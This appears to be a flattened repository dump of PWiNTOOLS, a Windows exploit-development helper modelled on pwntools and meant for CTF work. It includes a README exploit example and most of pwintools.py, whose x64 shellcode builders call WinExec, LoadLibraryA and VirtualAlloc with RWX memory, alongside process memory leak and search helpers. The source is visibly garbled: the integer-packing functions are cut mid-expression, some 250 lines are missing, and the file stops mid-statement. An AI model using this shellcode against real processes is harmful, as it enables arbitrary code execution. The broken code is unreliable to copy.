├── .gitignore ├── README.md ├── pwintools.py ├── requirements.txt ├── setup.py └── tests ├── RunTestsInWindowsSandbox.wsb ├── build_pwn_pe.py ├── obsolete ├── exemple_rop.cpp └── exemple_rop.py ├── run_tests.bat ├── simple_tcp_srv.py ├── test_process.py ├── test_process_interactive.py ├── test_process_io.py ├── test_pwn_pe.py ├── test_remote.py ├── test_requirements.py ├── test_shellcode.py └── tests.bat /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | *.exe 9 | 10 | # Distribution / packaging 11 | .Python 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .coverage 43 | .coverage.* 44 | .cache 45 | nosetests.xml 46 | coverage.xml 47 | *.cover 48 | .hypothesis/ 49 | .pytest_cache/ 50 | 51 | # Translations 52 | *.mo 53 | *.pot 54 | 55 | # Django stuff: 56 | *.log 57 | local_settings.py 58 | db.sqlite3 59 | 60 | # Flask stuff: 61 | instance/ 62 | .webassets-cache 63 | 64 | # Scrapy stuff: 65 | .scrapy 66 | 67 | # Sphinx documentation 68 | docs/_build/ 69 | 70 | # PyBuilder 71 | target/ 72 | 73 | # Jupyter Notebook 74 | .ipynb_checkpoints 75 | 76 | # pyenv 77 | .python-version 78 | 79 | # celery beat schedule file 80 | celerybeat-schedule 81 | 82 | # SageMath parsed files 83 | *.sage.py 84 | 85 | # Environments 86 | .env 87 | .venv 88 | env/ 89 | venv/ 90 | ENV/ 91 | env.bak/ 92 | venv.bak/ 93 | 94 | # Spyder project settings 95 | .spyderproject 96 | .spyproject 97 | 98 | # Rope project settings 99 | .ropeproject 100 | 101 | # mkdocs documentation 102 | /site 103 | 104 | # mypy 105 | .mypy_cache/ 106 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PWiNTOOLS 2 | 3 | PWiNTOOLS is a very basic implementation of [pwntools][PWNTOOLS] for Windows to play with local processes and remote sockets. 4 | 5 | Windows is not yet supported in the official [pwntools][PWNTOOLS]: [Minimal support for Windows #996](https://github.com/Gallopsled/pwntools/pull/996). 6 | 7 | PWiNTOOLS supports both Python 2 and 3. 8 | 9 | Feel free to contribute or report bugs. 10 | 11 | # Usage / Documentation 12 | 13 | Read the [code][CODE] :) 14 | 15 | ```python 16 | from pwintools import * 17 | 18 | DEBUG = True 19 | if DEBUG: 20 | r = Process("chall.exe") # Spawn chall.exe process 21 | r.spawn_debugger(breakin=False) 22 | log.info("WinExec @ 0x{:x}".format(r.symbols['kernel32.dll']['WinExec'])) 23 | else: 24 | r = Remote("challenge.remote.service", 8080) 25 | 26 | r.sendline('ID123456789') # send / write 27 | if r.recvline().strip() == 'GOOD': # recv / read / recvn / recvall / recvuntil 28 | log.success('Woot password accepted!') 29 | r.send(shellcraft.amd64.WinExec('cmd.exe')) 30 | else: 31 | log.failure('Bad password') 32 | 33 | log.info('Starting interactive mode ...') 34 | r.interactive() # interactive2 for Remote available 35 | ``` 36 | 37 | The [test][EXAMPLE] directory provides some examples of usage: 38 | - *test_pwn_pe* spawns pwn.exe and exploits it (pwn.exe can be build using `tests/build_pwn_pe.py` requires [LIEF][LIEF]) 39 | - *test_remote* is a basic TCP connection and interaction 40 | - *test_shellcode* injects shellcodes into notepad.exe to test them locally 41 | - *exemple_rop* is a example of exploit script for the associated vulnerable exemple_rop 42 | 43 | 44 | # Deps 45 | 46 | [PythonForWindows][PYTHONFORWINDOWS] providing a Python implementation to play with Windows. 47 | 48 | Optionals: 49 | - [capstone][CAPSTONE] 50 | - [keystone][KEYSTONE] 51 | 52 | # TODO 53 | 54 | ``` 55 | Improve 32 bits support and testing 56 | Support local Context like pwntools 57 | Improve Shellcraft to avoid NULL bytes (xor_pair) 58 | Provide examples with Python Debugger 59 | Integrate gadgets tool support (rp++) 60 | Process mitigation (appcontainer / Force ASLR rebase / Job sandboxing ...) 61 | pip install pwintools :) 62 | `Port` the project to pwntools 63 | ``` 64 | 65 | # Acknowledgements 66 | 67 | * Mastho 68 | * Geluchat 69 | 70 | [CODE]: https://github.com/masthoon/pwintools/blob/master/pwintools.py 71 | [PWNTOOLS]: https://github.com/Gallopsled/pwntools 72 | [PYTHONFORWINDOWS]: https://github.com/hakril/PythonForWindows 73 | [CAPSTONE]: https://www.capstone-engine.org/ 74 | [KEYSTONE]: https://www.keystone-engine.org/ 75 | [EXAMPLE]: https://github.com/masthoon/pwintools/tree/master/tests 76 | [LIEF]: https://github.com/lief-project/LIEF 77 | -------------------------------------------------------------------------------- /pwintools.py: -------------------------------------------------------------------------------- 1 | import io 2 | import os 3 | import sys 4 | import time 5 | import codecs 6 | import ctypes 7 | import msvcrt 8 | import random 9 | import string 10 | import struct 11 | import socket 12 | import logging 13 | import threading 14 | import functools 15 | 16 | import windows 17 | import windows.winobject 18 | import windows.winproxy 19 | import windows.native_exec.nativeutils 20 | import windows.generated_def as gdef 21 | from windows.generated_def.winstructs import * 22 | import windows.native_exec.simple_x64 as x64 23 | 24 | PY3 = False 25 | if sys.version_info[0] == 3: 26 | PY3 = True 27 | # Windows \r\n to \n on Python 3 28 | def newline_compat(func, *args, **kwargs): 29 | def wrapper(*args, **kwargs): 30 | result = func(*args, **kwargs) 31 | if result.endswith(b'\r\n'): 32 | result = result[:-2] + b'\n' 33 | return result 34 | return wrapper 35 | sys.stdin.buffer.readline = newline_compat(sys.stdin.buffer.readline) 36 | else: 37 | range = xrange 38 | 39 | try: 40 | import capstone 41 | def disasm(data, bitness = 64, vma = 0): 42 | """disasm(data, bitness = 64, vma = 0) dissas the data at vma""" 43 | cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 if bitness == 64 else capstone.CS_MODE_32) 44 | dis = '' 45 | for i in cs.disasm(data, vma): 46 | dis += "%x:\t%s\t%s\n" %(i.address, i.mnemonic, i.op_str) 47 | return dis 48 | except ImportError: 49 | def disasm(data, bitness = 64, vma = 0): 50 | raise(NotImplementedError("Capstone module not found")) 51 | 52 | try: 53 | import keystone 54 | def asm(code, bitness = 64, vma = 0): 55 | """asm(code, bitness = 64, vma = 0) assembles the assembly code at vma""" 56 | ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 if bitness == 64 else keystone.KS_MODE_32) 57 | encoding, count = ks.asm(code, vma) 58 | opcode = bytes(encoding) 59 | return opcode 60 | except ImportError: 61 | def asm(code, bitness = 64, vma = 0): 62 | raise(NotImplementedError("Keystone module not found")) 63 | 64 | alpha = string.ascii_letters 65 | alpha_lower = string.ascii_lowercase 66 | alpha_upper = string.ascii_uppercase 67 | digits = string.digits 68 | all_chars = string.ascii_letters+string.digits+' '+string.punctuation 69 | printable = string.printable 70 | b_printable = list(filter(lambda c: c not in [0x9, 0xa, 0xb, 0xc, 0xd], list(map(ord, string.printable)))) 71 | all256 = ''.join([chr(i) for i in range(256)]) 72 | 73 | class DotDict(dict): 74 | """Allow access to dict elements using dot""" 75 | __getattr__ = dict.get 76 | __setattr__ = dict.__setitem__ 77 | __delattr__ = dict.__delitem__ 78 | 79 | 80 | def encode_string_escape(bytes_data): 81 | res = b'' 82 | for c in bytes_data: 83 | if c in b_printable: 84 | res += bytes([c]) 85 | elif c == 0xa: 86 | res += b'\\n' 87 | elif c == 0x9: 88 | res += b' ' 89 | else: 90 | res += b'\\x%02x' % c 91 | return res 92 | 93 | 94 | def xor_pair(data, avoid = '\x00\n'): 95 | """xor_pair(data, avoid = '\\x00\\n') -> None or (str, str) 96 | Finds two strings that will xor into a given string, while only 97 | using a given alphabet. 98 | Arguments: 99 | data (str): The desired string. 100 | avoid: The list of disallowed characters. Defaults to nulls and newlines. 101 | Returns: 102 | Two strings which will xor to the given string. If no such two strings exist, then None is returned. 103 | Example: 104 | >>> xor_pair("test") 105 | ('\\x01\\x01\\x01\\x01', 'udru') 106 | """ 107 | alphabet = list(chr(n) for n in range(256) if chr(n) not in avoid) 108 | res1 = '' 109 | res2 = '' 110 | for c1 in data: 111 | for c2 in alphabet: 112 | c3 = chr(ord(c1) ^ ord(c2)) 113 | if c3 in alphabet: 114 | res1 += c2 115 | res2 += c3 116 | break 117 | else: 118 | return None 119 | return res1, res2 120 | 121 | def xor(s1,s2): 122 | """xor(s1,s2) -> str 123 | Xor string using ASCII values. 124 | Examples: 125 | >>> xor('test','beef') 126 | '\x16\x00\x16\x12' 127 | """ 128 | return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2)) 129 | 130 | def bruteforce(charset, min_len=1, max_len=8): 131 | """bruteforce(charset, min_len=1, max_len=8) -> itertools.chain 132 | Yield a generator for bruteforce in charset. 133 | Example: 134 | >>> bruteforce(digits, 1, 2) 135 | 136 | Use: for elem in bruteforce(digits, 1, 2): [...] 137 | Charsets: alpha, alpha_lower, alpha_upper, digits, printable, all256 138 | """ 139 | import itertools 140 | return itertools.chain.from_iterable((''.join(l) for l in itertools.product(charset, repeat=i)) for i in range(min_len, max_len + 1)) 141 | 142 | def cut(s, n): 143 | """cut(s, n) -> list 144 | Cut the s string every n characters. 145 | Example: 146 | >>> cut('020304', 2) 147 | ['02', '03', '04'] 148 | """ 149 | return [s[i:i+n] for i in range(0, len(s), n)] 150 | 151 | def ordlist(s): 152 | """ordlist(s) -> list 153 | Turns a string into a list of the corresponding ascii values. 154 | Example: 155 | >>> ordlist("hello") 156 | [104, 101, 108, 108, 111] 157 | """ 158 | return map(ord, s) 159 | 160 | def unordlist(cs): 161 | """unordlist(cs) -> str 162 | Takes a list of ascii values and returns the corresponding string. 163 | Example: 164 | >>> unordlist([104, 101, 108, 108, 111]) 165 | 'hello' 166 | """ 167 | return ''.join(chr(c) for c in cs) 168 | 169 | def rand(min=0, max=10000): 170 | """rand(min=0, max=10000) -> int 171 | Randomly select of a int between min and max. 172 | """ 173 | return random.randint(min, max) 174 | 175 | def randstr(length=8, charset=all_chars): 176 | """randstr(length=8, charset=all_chars) -> str 177 | Randomly select (length) chars from the charset. 178 | """ 179 | return ''.join(random.choice(charset) for _ in range(length)) 180 | 181 | def ordp(c): 182 | """ 183 | Helper that returns a printable binary data representation. 184 | """ 185 | output = [] 186 | if PY3: 187 | for i in c: 188 | if (i < 32) or (i >= 127): 189 | output.append('.') 190 | else: 191 | output.append(chr(i)) 192 | else: 193 | for i in c: 194 | j = ord(i) 195 | if (j < 32) or (j >= 127): 196 | output.append('.') 197 | else: 198 | output.append(i) 199 | return ''.join(output) 200 | 201 | def hexdump(p): 202 | """ 203 | Return a hexdump representation of binary data. 204 | Usage: 205 | >>> from hexdump import hexdump 206 | >>> print(hexdump( 207 | ... b'\\x00\\x01\\x43\\x41\\x46\\x45\\x43\\x41\\x46\\x45\\x00\\x01' 208 | ... )) 209 | 0000 00 01 43 41 46 45 43 41 46 45 00 01 ..CAFECAFE.. 210 | """ 211 | output = [] 212 | l = len(p) 213 | i = 0 214 | while i < l: 215 | output.append('{:04x} '.format(i)) 216 | for j in range(16): 217 | if (i + j) < l: 218 | if PY3: 219 | byte = p[i + j] 220 | else: 221 | byte = ord(p[i + j]) 222 | output.append('{:02X} '.format(byte)) 223 | else: 224 | output.append(' ') 225 | if (j % 16) == 7: 226 | output.append(' ') 227 | output.append(' ') 228 | output.append(ordp(p[i:i + 16])) 229 | output.append('\n') 230 | i += 16 231 | return ''.join(output) 232 | 233 | 234 | def p64(i): 235 | """p64(i) -> str 236 | Pack 64 bits integer (little endian) 237 | """ 238 | return struct.pack(' int 242 | Unpack 64 bits integer from a little endian str representation 243 | """ 244 | return struct.unpack(' str 248 | Pack 32 bits integer (little endian) 249 | """ 250 | return struct.pack(' int 254 | Unpack 32 bits integer from a little endian str representation 255 | """ 256 | return struct.unpack(' str 260 | Pack 16 bits integer (little endian) 261 | """ 262 | return struct.pack(' int 266 | Unpack 16 bits integer from a little endian str representation 267 | """ 268 | return struct.unpack(''.format(self.__class__.__name__, self.ip, self.port, hex(id(self))) 522 | 523 | def close(self): 524 | """close() closes the connection""" 525 | self.sock.close() 526 | self._closed = True 527 | 528 | def check_closed(self, force_exception = True): 529 | if self._closed and force_exception: 530 | raise(EOFError("Socket {0} closed".format(self))) 531 | elif self._closed: 532 | log.warning("EOFError: Socket {0} closed".format(self)) 533 | return self._closed 534 | 535 | def get_timeout(self): 536 | return self._timeout 537 | 538 | def set_timeout(self, timeout): 539 | if timeout: 540 | self._timeout = timeout 541 | self.sock.settimeout(float(timeout) / 1000) 542 | elif self._timeout != self._default_timeout: 543 | self.timeout = self._default_timeout 544 | 545 | timeout = property(get_timeout, set_timeout) 546 | """timeout in ms for read on the socket""" 547 | 548 | def read(self, n, timeout = None, no_warning = False): 549 | """read(n, timeout = None, no_warning = False) tries to read n bytes on the socket before timeout""" 550 | if timeout: 551 | self.timeout = timeout 552 | buf = b'' 553 | if not self.check_closed(False): 554 | try: 555 | buf = self.sock.recv(n) 556 | except socket.timeout: 557 | if not no_warning: 558 | log.warning("EOFError: Timeout {0} - Incomplete read".format(self)) 559 | except socket.error: 560 | self._closed = True 561 | if not no_warning: 562 | log.warning("EOFError: Socket {0} closed".format(self)) 563 | return buf 564 | 565 | def write(self, buf): 566 | """write(buf) sends the buf to the socket""" 567 | if not self.check_closed(True): 568 | try: 569 | if isinstance(buf, str): 570 | return self.sock.send(bytes(buf.encode())) 571 | elif isinstance(buf, (bytes, bytearray)): 572 | return self.sock.send(buf) 573 | else: 574 | raise(NotImplementedError("Unsupported type of buffer {0} in Remote.write".format(type(buf)))) 575 | except socket.error: 576 | self._closed = True 577 | log.warning("EOFError: Socket {0} closed".format(self)) 578 | 579 | def send(self, buf): 580 | """send(buf) sends the buf to the socket""" 581 | self.write(buf) 582 | 583 | def sendline(self, line): 584 | """sendline(line) sends the line adding newline to the socket""" 585 | if isinstance(line, (bytes, bytearray)): 586 | self.write(line + self.newline) 587 | else: 588 | self.write(line + "\n") 589 | 590 | def recv(self, n, timeout = None): 591 | """recv(n, timeout = None) tries to read n bytes on the socket before timeout""" 592 | return self.read(n, timeout) 593 | 594 | def recvn(self, n, timeout = None): 595 | """recvn(n, timeout = None) reads exactly n bytes on the socket before timeout""" 596 | buf = self.read(n, timeout) 597 | if len(buf) != n: 598 | raise(EOFError("Timeout {0} - Incomplete read".format(self))) 599 | return buf 600 | 601 | def recvall(self, force_exception = False, timeout = None): 602 | """recvall(force_exception = False, timeout = None) reads all bytes available on the socket before timeout""" 603 | return self.read(0x100000, timeout, no_warning = True) 604 | 605 | def recvuntil(self, delim, drop = False, timeout = None): 606 | """recvuntil(delim, drop = False, timeout = None) reads bytes until the delim is present on the socket before timeout""" 607 | buf = b"" 608 | while delim not in buf: 609 | buf += self.recvn(1, timeout) 610 | return buf if not drop else buf[:-len(delim)] 611 | 612 | def recvline(self, keepends = True, timeout = None): 613 | """recvline(keepends = True, timeout = None) reads one line on the socket before timeout""" 614 | return self.recvuntil(self.newline, not keepends, timeout) 615 | 616 | def interactive(self, escape = False): 617 | """interactive(escape = None) allows to interact directly with the socket (escape to show binary content received)""" 618 | interact(self, escape) 619 | 620 | def interactive2(self): 621 | """interactive2() with telnetlib""" 622 | fs = self.sock._sock 623 | import telnetlib 624 | t = telnetlib.Telnet() 625 | t.sock = fs 626 | t.interact() 627 | 628 | 629 | 630 | class Process(windows.winobject.process.WinProcess): 631 | """ 632 | Wrapper for Windows process 633 | Process(r"C:\Windows\system32\mspaint.exe") 634 | Process("pwn.exe", CREATE_SUSPENDED) 635 | Process([r"C:\Windows\system32\cmd.exe", '-c', 'echo', 'test']) 636 | """ 637 | def __init__(self, cmdline, flags = 0, nostdhandles = False): 638 | self.__pid = None 639 | self.cmd = cmdline 640 | self.flags = flags 641 | self.stdhandles = not nostdhandles 642 | self.debuggerpath = b'C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe' 643 | self.newline = b"\n" 644 | self.__imports = None 645 | self.__symbols = None 646 | self.__libs = None 647 | self.__offsets = None 648 | 649 | if self.stdhandles: 650 | self.stdin = Pipe() 651 | self.stdout = Pipe() 652 | # stderr mixed with stdout self.stderr = Pipe() 653 | self.timeout = 500 # ms 654 | self._default_timeout = 500 # ms 655 | 656 | if self._create_process() != 0: 657 | raise(ValueError("CreateProcess failed - Invalid arguments")) 658 | 659 | super(Process, self).__init__(pid=self.__pid, handle=self.__handle) 660 | if not (flags & CREATE_SUSPENDED): 661 | self.wait_initialized() 662 | 663 | def check_initialized(self): 664 | is_init = False 665 | try: # Accessing PEB 666 | self.peb.modules[1] 667 | is_init = True 668 | except Exception as e: 669 | pass 670 | if not is_init: 671 | log.info("Process {0} not initialized ...".format(self)) 672 | return is_init 673 | 674 | def wait_initialized(self): 675 | while not self.check_initialized() and not self.is_exit: 676 | time.sleep(0.05) 677 | 678 | def __del__(self): 679 | # TODO: Kill the debugger too 680 | if self.__pid and not self.is_exit: 681 | self.exit(0) 682 | 683 | def _create_process(self): 684 | proc_info = PROCESS_INFORMATION() 685 | lpStartupInfo = None 686 | StartupInfo = STARTUPINFOA() 687 | StartupInfo.cb = ctypes.sizeof(StartupInfo) 688 | if self.stdhandles: 689 | StartupInfo.dwFlags = gdef.STARTF_USESTDHANDLES 690 | StartupInfo.hStdInput = self.stdin.get_handle('r') 691 | StartupInfo.hStdOutput = self.stdout.get_handle('w') 692 | StartupInfo.hStdError = self.stdout.get_handle('w') 693 | lpStartupInfo = ctypes.byref(StartupInfo) 694 | lpCommandLine = None 695 | lpApplicationName = self.cmd 696 | 697 | if isinstance(self.cmd, (list,)): 698 | lpCommandLine = (b" ".join([bytes(a) for a in self.cmd])) 699 | lpApplicationName = None 700 | elif isinstance(lpApplicationName, str) and PY3: 701 | lpApplicationName = lpApplicationName.encode() 702 | try: 703 | # TODO switch to CreateProcessZ 704 | windows.winproxy.CreateProcessA(lpApplicationName, lpCommandLine=lpCommandLine, bInheritHandles=True, dwCreationFlags=self.flags, lpProcessInformation=ctypes.byref(proc_info), lpStartupInfo=lpStartupInfo) 705 | windows.winproxy.CloseHandle(proc_info.hThread) 706 | self.__pid = proc_info.dwProcessId 707 | self.__handle = proc_info.hProcess 708 | except Exception as exception: 709 | self.__pid = None 710 | self.__handle = None 711 | log.warning("Exception {0}: Process {1} failed to start!".format(exception, self.cmd)) 712 | return -1 713 | return 0 714 | 715 | def check_exit(self, raise_exc=False): 716 | if self.is_exit: 717 | if raise_exc: 718 | raise(EOFError("Process {0} exited".format(self))) 719 | else: 720 | log.warning("EOFError: Process {0} exited".format(self)) 721 | 722 | def check_closed(self, raise_exc=False): 723 | if self.stdhandles and self.client_count() < 2: 724 | if raise_exc: 725 | raise(EOFError("Process {0} I/O is closed".format(self))) 726 | else: 727 | log.warning("EOFError: Process {0} I/O is closed".format(self)) 728 | return True 729 | elif self.stdhandles: 730 | return False 731 | else: 732 | return self.check_exit(raise_exc) 733 | 734 | def client_count(self): 735 | if not self.stdhandles: 736 | log.error("client_count called on process {0} with no input forwarding".format(self)) 737 | return 0 738 | return max(self.stdin.number_of_clients(), self.stdout.number_of_clients()) 739 | 740 | def get_timeout(self): 741 | if self.stdhandles: 742 | return self._timeout 743 | return -1 744 | 745 | def set_timeout(self, timeout): 746 | if timeout: 747 | self._timeout = timeout 748 | if self.stdhandles: 749 | self.stdin.timeout = timeout 750 | self.stdout.timeout = timeout 751 | elif self._timeout != self._default_timeout: 752 | self.timeout = self._default_timeout 753 | 754 | timeout = property(get_timeout, set_timeout) 755 | """timeout in ms for read on the process stdout (pipe)""" 756 | 757 | def read(self, n, timeout = None, no_warning = False): 758 | """read(n, timeout = None, no_warning = False) tries to read n bytes on process stdout before timeout""" 759 | if timeout: 760 | self.timeout = timeout 761 | 762 | buf = b'' 763 | if self.stdhandles: 764 | buf = self.stdout.read(n) 765 | if not no_warning and len(buf) != n: 766 | log.warning("EOFError: Timeout {0} - Incomplete read".format(self)) 767 | self.check_closed() # but signal it 768 | return buf 769 | 770 | def write(self, buf): 771 | """write(buf) sends the buf to the process stdin""" 772 | if self.stdhandles and not self.check_closed(True): 773 | return self.stdin.write(buf) 774 | 775 | def send(self, buf): 776 | """send(buf) sends the buf to the process stdin""" 777 | self.write(buf) 778 | 779 | def sendline(self, line): 780 | """sendline(line) sends the line adding newline to the process stdin""" 781 | if isinstance(line, (bytes, bytearray)): 782 | self.write(line + self.newline) 783 | else: 784 | self.write(line + "\n") 785 | 786 | def recv(self, n, timeout = None): 787 | """recv(n, timeout = None) tries to read n bytes on the process stdout before timeout""" 788 | return bytes(self.read(n, timeout)) 789 | 790 | def recvn(self, n, timeout = None): 791 | """recvn(n, timeout = None) reads exactly n bytes on the process stdout before timeout""" 792 | buf = self.read(n, timeout) 793 | if len(buf) != n: 794 | raise(EOFError("Timeout {0} - Incomplete read".format(self))) 795 | return bytes(buf) 796 | 797 | def recvall(self, force_exception = False, timeout = None): 798 | """recvall(force_exception = False, timeout = None) reads all bytes available on the process stdout before timeout""" 799 | return self.read(0x100000, timeout, no_warning = True) 800 | 801 | def recvuntil(self, delim, drop = False, timeout = None): 802 | """recvuntil(delim, drop = False, timeout = None) reads bytes until the delim is present on the process stdout before timeout""" 803 | buf = b'' 804 | while delim not in buf: 805 | buf += self.recvn(1, timeout) 806 | return buf if not drop else buf[:-len(delim)] 807 | 808 | def recvline(self, keepends = True, timeout = None): 809 | """recvline(keepends = True, timeout = None) reads one line on the process stdout before timeout""" 810 | return self.recvuntil(self.newline, not keepends, timeout) 811 | 812 | def interactive(self, escape = False): 813 | """interactive(escape = None) allows to interact directly with the socket (escape to show binary content received)""" 814 | interact(self, escape) 815 | 816 | def leak(self, addr, count = 1): 817 | """leak(addr, count = 1) reads count bytes of the process memory at addr""" 818 | if not self.check_initialized(): 819 | raise Exception("Error: PEB not initialized while reading memory") 820 | try: 821 | return self.read_memory(addr, count) 822 | except Exception as e: 823 | log.warning(str(e)) 824 | return b'' 825 | 826 | def search(self, pattern, writable = False): 827 | """search(pattern, writable = False) search pattern in all loaded modules (EXE + DLL) ; returns the addr (0 on error)""" 828 | if not self.check_initialized(): 829 | raise Exception("Error: PEB not initialized while searching a pattern in memory") 830 | 831 | for module in self.peb.modules: 832 | try: 833 | for section in module.pe.sections: 834 | if writable and section.Characteristics & gdef.IMAGE_SCN_MEM_WRITE == 0: 835 | continue 836 | for page in range(section.start, section.start + section.size, 0x1000): 837 | try: 838 | pos = self.read_memory(page, min(0x1000, (section.start + section.size) - page)).find(pattern) 839 | if pos != -1: 840 | return page + pos 841 | except: 842 | pass 843 | except: 844 | pass 845 | return 0 846 | 847 | @property 848 | def imports(self): 849 | """imports returns a dict of main EXE imports like {'ntdll.dll': {'Sleep': , ...}, ...}""" 850 | if not self.check_initialized(): 851 | raise Exception("Error: PEB not initialized while getting the imports") 852 | 853 | pe = self.peb.modules[0].pe 854 | if not self.__imports: 855 | pe = self.peb.modules[0].pe 856 | self.__imports = {dll.lower(): {imp.name: imp for imp in imps} for dll, imps in pe.imports.items() if dll} 857 | return self.__imports 858 | 859 | 860 | def get_import(self, dll, function): 861 | """get_import(self, dll, function) returns the address of the import dll!function""" 862 | if self.check_initialized() == False: 863 | raise Exception("Error: PEB not initialized while getting the imports") 864 | 865 | pe = self.peb.modules[0].pe 866 | if dll in pe.imports: 867 | for imp in pe.imports[dll]: 868 | if imp.name == function: 869 | return imp.addr 870 | 871 | raise Exception("Error: dll ({0}) or function({1}) not found".format(dll, function)) 872 | 873 | @property 874 | def symbols(self): 875 | """symbols returns a dict of the process exports (all DLL) like {'ntdll.dll': {'Sleep': addr, 213: addr, ...}, ...}""" 876 | if not self.check_initialized(): 877 | raise Exception("Error: PEB not initialized while getting the exports") 878 | 879 | if not self.__symbols: 880 | self.__symbols = {module.pe.export_name.lower(): module.pe.exports for module in self.peb.modules if module.pe.export_name} 881 | return self.__symbols 882 | 883 | def get_proc_address(self, dll, function): 884 | """get_proc_address(self, dll, function) returns the address of the dll!function""" 885 | modules = [m for m in self.peb.modules if m.name == dll] 886 | if not len(modules): 887 | return 0 888 | module = modules[0] 889 | if not function in module.pe.exports: 890 | return 0 891 | return module.pe.exports[function] 892 | 893 | @property 894 | def libs(self): 895 | """libs returns a dict of loaded modules with their baseaddr like {'ntdll.dll': 0x123456000, ...}""" 896 | if not self.check_initialized(): 897 | raise Exception("Error: PEB not initialized while getting the loaded modules") 898 | if not self.__libs: 899 | self.__libs = {module.name.lower(): module.baseaddr for module in self.peb.modules if module.name} 900 | return self.__libs 901 | 902 | def close(self): 903 | """close() closes the process""" 904 | if not self.is_exit: 905 | self.exit(0) 906 | 907 | def spawn_debugger(self, breakin = True, dbg_cmd = None): 908 | """spawn_debugger(breakin = True, dbg_cmd = None) spawns Windbg (self.debuggerpath) to debug the process""" 909 | cmd = [self.debuggerpath, b'-p', str(self.pid).encode()] 910 | if not breakin: 911 | cmd.append(b'-g') 912 | if dbg_cmd: 913 | cmd.append(b'-c') 914 | cmd.append(dbg_cmd) 915 | self.debugger = Process(cmd, nostdhandles=True) 916 | # Give time to the debugger 917 | time.sleep(1) 918 | 919 | # TODO: Modify PythonForWindows assembly helpers to prevent NULL bytes in the shellcode 920 | # https://github.com/hakril/PythonForWindows/blob/master/windows/native_exec/nativeutils.py 921 | # https://github.com/hakril/PythonForWindows/blob/master/samples/native_utils.py 922 | 923 | def sc_64_pushstr(s): 924 | if not s.endswith(b"\0"): 925 | s += b"\0\0" 926 | PushStr_sc = x64.MultipleInstr() 927 | # TODO: Use xor_pair to avoid NULL 928 | for block in cut(s, 8)[::-1]: 929 | block += b"\0" * (8 - len(block)) 930 | PushStr_sc += x64.Mov("RAX", u64(block)) 931 | PushStr_sc += x64.Push("RAX") 932 | return PushStr_sc 933 | 934 | def sc_64_WinExec(exe): 935 | dll = bytes("KERNEL32.DLL\x00".encode("utf-16-le")) 936 | api = b"WinExec\x00" 937 | 938 | if PY3 and isinstance(exe, str): 939 | exe = bytes(exe.encode()) 940 | 941 | WinExec64_sc = x64.MultipleInstr() 942 | WinExec64_sc += shellcraft.amd64.pushstr(dll) 943 | WinExec64_sc += x64.Mov("RCX", "RSP") 944 | WinExec64_sc += shellcraft.amd64.pushstr(api) 945 | WinExec64_sc += x64.Mov("RDX", "RSP") 946 | WinExec64_sc += x64.Call(":FUNC_GETPROCADDRESS64") 947 | WinExec64_sc += x64.Mov("R10", "RAX") 948 | WinExec64_sc += shellcraft.amd64.pushstr(exe) 949 | WinExec64_sc += x64.Mov("RCX", "RSP") 950 | WinExec64_sc += x64.Sub("RSP", 0x30) 951 | WinExec64_sc += x64.And("RSP", -32) 952 | WinExec64_sc += x64.Call("R10") 953 | WinExec64_sc += x64.Label(":HERE") 954 | WinExec64_sc += x64.Jmp(":HERE") 955 | WinExec64_sc += windows.native_exec.nativeutils.GetProcAddress64# Dirty infinite loop 956 | #WinExec64_sc +=# x64.Ret(), 957 | 958 | return WinExec64_sc.get_code() 959 | 960 | 961 | 962 | def sc_64_LoadLibrary(dll_path): 963 | dll = bytes("KERNEL32.DLL\x00".encode("utf-16-le")) 964 | api = b"LoadLibraryA\x00" 965 | 966 | if PY3 and isinstance(dll_path, str): 967 | dll_path = bytes(dll_path.encode()) 968 | 969 | LoadLibrary64_sc = x64.MultipleInstr() 970 | 971 | LoadLibrary64_sc += shellcraft.amd64.pushstr(dll) 972 | LoadLibrary64_sc += x64.Mov("RCX", "RSP") 973 | LoadLibrary64_sc += shellcraft.amd64.pushstr(api) 974 | LoadLibrary64_sc += x64.Mov("RDX", "RSP") 975 | LoadLibrary64_sc += x64.Call(":FUNC_GETPROCADDRESS64") 976 | LoadLibrary64_sc += x64.Mov("R10", "RAX") 977 | LoadLibrary64_sc += shellcraft.amd64.pushstr(dll_path) 978 | LoadLibrary64_sc += x64.Mov("RCX", "RSP") 979 | LoadLibrary64_sc += x64.Sub("RSP", 0x30) 980 | LoadLibrary64_sc += x64.And("RSP", -32) 981 | LoadLibrary64_sc += x64.Call("R10") 982 | LoadLibrary64_sc += x64.Label(":HERE") 983 | LoadLibrary64_sc += x64.Jmp(":HERE") 984 | LoadLibrary64_sc += windows.native_exec.nativeutils.GetProcAddress64 985 | 986 | return LoadLibrary64_sc.get_code() 987 | 988 | 989 | def sc_64_AllocRWX(address, rwx_qword): 990 | dll = "KERNEL32.DLL\x00".encode("utf-16-le") 991 | api = b"VirtualAlloc\x00" 992 | AllocRWX64_sc = x64.MultipleInstr() 993 | 994 | AllocRWX64_sc += shellcraft.amd64.pushstr(dll) 995 | AllocRWX64_sc += x64.Mov("RCX", "RSP") 996 | AllocRWX64_sc += shellcraft.amd64.pushstr(api) 997 | AllocRWX64_sc += x64.Mov("RDX", "RSP") 998 | AllocRWX64_sc += x64.Call(":FUNC_GETPROCADDRESS64") 999 | AllocRWX64_sc += x64.Mov("R10", "RAX") 1000 | AllocRWX64_sc += x64.Mov("RCX", address) 1001 | AllocRWX64_sc += x64.Mov("RDX", 0x1000) 1002 | AllocRWX64_sc += x64.Mov("R8", MEM_COMMIT | MEM_RESERVE) 1003 | AllocRWX64_sc += x64.Mov("R9", PAGE_EXECUTE_READWRITE) 1004 | AllocRWX64_sc += 